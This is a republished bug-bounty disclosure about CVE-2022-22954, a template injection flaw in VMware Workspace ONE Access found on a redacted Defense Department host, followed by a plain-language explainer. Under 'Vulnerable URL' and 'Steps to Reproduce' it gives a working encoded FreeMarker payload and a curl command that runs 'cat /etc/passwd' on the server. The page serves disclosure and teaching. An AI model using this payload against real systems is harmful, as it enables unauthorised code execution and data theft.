Skip to content
RCE Disclosed report Intermediate CVE-2022-22954

███ vulnerable to CVE-2022-22954

A VMware Workspace ONE Access server was vulnerable to CVE-2022-22954, a server-side template injection flaw. An unauthenticated attacker could send a crafted request to execute arbitrary code on the server.

v1ct0rv0nd00m Follow

Originally disclosed on HackerOne

Critical View original
  • Disclosed after 9 days

I found that one of the targets belongs to DOD vulnerable to CVE-2022-22954 where an attacker may be able to execute any malicious code like escalating Remote code execution is also possible

Technical Summary:

CVE-2022-22954 is a server-side template injection vulnerability in the VMware Workspace ONE Access and Identity Manager. This vulnerability was assigned a CVSSv3 score of 9.8. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw.

Vulnerable URL:

███=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d

Impact

The impact of server-side template injection vulnerabilities is generally critical, resulting in remote code execution by taking full control of the back-end server. Even without the code execution, the attacker may be able to read sensitive data on the server

System Host(s)

██████, ████

Affected Product(s) and Version(s)

VMware workspace one

CVE Numbers

CVE-2022-22954

Steps to Reproduce

  • Run the following curl command

Command Used:

curl -sk -X GET -H "Host: ██████" "█████████=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d"

Response:

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/html">
    <head>
        <title>Error Page</title>
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <link rel="stylesheet" type="text/css" href="/catalog-portal/css/errorpage.css">
    </head>

    <body>
        <div class="error-container">
            <div class="error-img-container">
                {{media:0}}
            </div>
            <div class="error-text-heading">Request Failed</div>
            <div class="error-text-container">
                <p>Please contact your IT Administrator.</p>
                <a href="/catalog-portal/ui/logout?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22cat%20/etc/passwd%22)%7D">Sign Out</a>
            </div>
        </div>
    </body>
    <script>
        if(console && console.log) {
            console.log("auth.context.invalid");
            console.log("Authorization context is not valid. Login request  received with tenant code: uhhz-lbr-004v, device id: █████;
        }
    </script>
</html>
  • As you can see the above response, which contains the response of /etc/passwd in the response

Suggested Mitigation/Remediation Actions

Upgrade the instances to the latest version

The original report as published on HackerOne, by v1ct0rv0nd00m. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application passed unsanitised user input into a FreeMarker template that was then evaluated, allowing arbitrary template expressions to execute.

Impact

An unauthenticated attacker could achieve remote code execution and take full control of the back-end server, or at least read sensitive data.

What the attacker needed

Network access to the vulnerable server; no authentication required

The fix

The instances should be upgraded to the latest version.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Server-side template injection happens when a web server builds a page using a template engine and lets user input become part of the template code. Here, the attacker put a template expression into a URL parameter, and the server ran it, which let the attacker run system commands like reading a password file.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by v1ct0rv0nd00m

View all

2 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.